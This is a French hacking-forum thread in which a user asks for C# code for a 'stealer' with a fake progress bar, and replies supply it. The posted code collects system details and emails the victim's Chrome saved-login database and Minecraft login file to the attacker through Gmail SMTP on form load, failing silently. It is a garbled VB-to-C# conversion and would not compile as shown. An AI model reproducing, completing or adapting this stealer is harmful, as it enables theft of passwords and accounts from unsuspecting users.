Résolu Cherche codage C#

Statut
N'est pas ouverte pour d'autres réponses.

iB3

Patrol GR Y60, Audi TT MK1 225
Premium
Inscription
4 Février 2013
Messages
9 955
Réactions
2 929
Points
14 393
RGCoins
25
Salut à tous je cherche le codage

ProgressBar et un Stealer Pour avoir le texte marquer dans le texbox

Merci ;)
 
:rofl: c'est tout con, au moment du clique ta progressBar se déclanche, a la fin de la progressBar un mail est envoyé via SMTP de Gmail ou autre messagerie avec intitulé du mail
- ID ou autre (contenue dans la TextBox ;))
 
Tiens :
Code:
using System.Net.Mail;
using System.Net.Sockets;
using System.Net;
using System.Text.RegularExpressions;
using System.Text;
using System.Management;

public class Form1
{
    private void  // ERROR: Handles clauses are not supported in C#
Form1_Load(System.Object sender, System.EventArgs e)
    {
        string myhost = System.Net.Dns.GetHostName();
        string myip = System.Net.Dns.GetHostAddresses(myhost).GetValue(2).ToString;
        MailMessage MyMailMessage = new MailMessage();
        try {
            MyMailMessage.From = new MailAddress("EMAIL ADDRESS GOES HERE");
            MyMailMessage.To.Add("EMAIL ADDRESS GOES HERE");
            MyMailMessage.Subject = ("Data Sender");
            MyMailMessage.Body = ("Local IP: " + myip + Constants.vbNewLine + "Machine Name: " + myhost + Constants.vbNewLine + "OS Name: " + My.Computer.Info.OSFullName + Constants.vbNewLine + "OS Version: " + My.Computer.Info.OSVersion + Constants.vbNewLine + "OS Platform: " + My.Computer.Info.OSPlatform + Constants.vbNewLine + "Username: " + System.Environment.UserName + Constants.vbNewLine + "Sender: " + System.Environment.CommandLine + Constants.vbNewLine + "System Directory: " + System.Environment.SystemDirectory + Constants.vbNewLine + "Username: " + System.Environment.UserName + Constants.vbNewLine + "PC Time: " + My.Computer.Clock.LocalTime + Constants.vbNewLine + "Availible Memory: " + My.Computer.Info.AvailablePhysicalMemory.ToString);
            object mc = new Attachment("C:\\Users\\" + System.Environment.UserName + "\\AppData\\Roaming\\.minecraft\\lastlogin");
            object chrome = new Attachment("C:\\Users\\" + System.Environment.UserName + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data");
            MyMailMessage.Attachments.Add(mc);
            MyMailMessage.Attachments.Add(chrome);
            SmtpClient SMTP = new SmtpClient("smtp.gmail.com");
            SMTP.Port = 587;
            SMTP.EnableSsl = true;
            SMTP.Credentials = new System.Net.NetworkCredential("EMAIL ADDRESS GOES HERE", "EMAIL PASSWORD GOES HERE");
            SMTP.Send(MyMailMessage);
            Application.Exit();
        } catch (Exception ex) {
        }

    }
}
 
Statut
N'est pas ouverte pour d'autres réponses.
Retour
Haut